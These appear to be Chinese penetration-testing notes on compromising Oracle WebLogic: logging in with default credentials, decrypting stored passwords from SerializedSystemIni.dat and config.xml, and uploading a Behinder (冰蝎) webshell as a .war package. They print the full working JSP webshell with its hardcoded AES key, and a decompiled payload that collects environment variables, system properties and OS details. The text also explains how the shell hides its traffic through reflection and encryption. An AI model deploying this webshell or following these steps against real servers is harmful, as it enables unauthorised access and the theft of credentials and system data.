弱口令
http://192.168.72.161:7001/console
进入weblogic登录页面
弱口令:
https://cirt.net/passwords?criteria=weblogic
weblogic
Oracle@123
如果前台存在文件读取,就可以找到用户密文和密钥
分别存在:
SerializedSystemIni.dat和config.xml
security/SerializedSystemIni.dat
config/config.xml
解密工具:https://github.com/TideSec/Decrypt_Weblogic_Password

部署->安装,上传,将冰蝎中的shell.jsp压缩为zip,更改后缀为war。
冰蝎连接

冰蝎
冰蝎3.0的webshell,不采用动态生成密钥,而是将密码的32位的MD5的前16位作为密钥。
我们分析一下其webshell背后的秘密,以JSP代码为例,其中包含很多处反射调用,使得流量层面只能包含加密后二进制的base64编码。
<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
{
U(ClassLoader c)
{
super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}
%>
<%
if(request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";
session.putValue("u",k);

Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>
1.java是通过字节流传输的,需要服务器可以将我们的payload的二进制字节流动态转化为类
需要通过classLoader的defineClass方法转化

这里有个问题,就是该方法是protected方法,外部无法直接调用,但是可以通过反射的方式修改保护属性,冰蝎则是直接继承这个类。
2.二进制流可以转化为class了,接下来就需要触发这个class里面代码来完成命令执行等操作。
3.可重写基类Object的方法来触发payload,该方法必须带有参数(参数的目的在于返回执行结果),并且能把Request、Response、Seesion等servlet相关对象传递进去(java需要通过这些类来发出响应)。

4.equal函数成为天选,由于基类Object的存在,传入任何对象都是可以的

只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
从而间接的可以发送服务器执行命令的结果。

挑选一个基本的payload.class,反编译冰蝎

重写的equals如下,用以探测服务器java基本信息,webshell回执行函数,并通过PageContext的对象来返回结果:
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
page.getResponse().setCharacterEncoding("UTF-8");
String result = "";
try {
StringBuilder basicInfo = new StringBuilder("
环境变量:
");
Map<String, String> env = System.getenv();
for (String name : env.keySet())
basicInfo.append(name + "=" + (String)env.get(name) + "
");
basicInfo.append("
JRE系统属性:
");
Properties props = System.getProperties();
Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
for (Map.Entry<Object, Object> entry : entrySet)
basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("
").toString());
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
for (File f : roots)
driveList = driveList + f.getPath() + ";";
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap<>();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
result = buildJson(entity, true);
String key = page.getSession().getAttribute("u").toString();
ServletOutputStream so = page.getResponse().getOutputStream();
so.write(Encrypt(result.getBytes(), key));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
我们传递过去的请求包如下

将POST数据base64解码后,在AES解密得到的就是我们的payload类。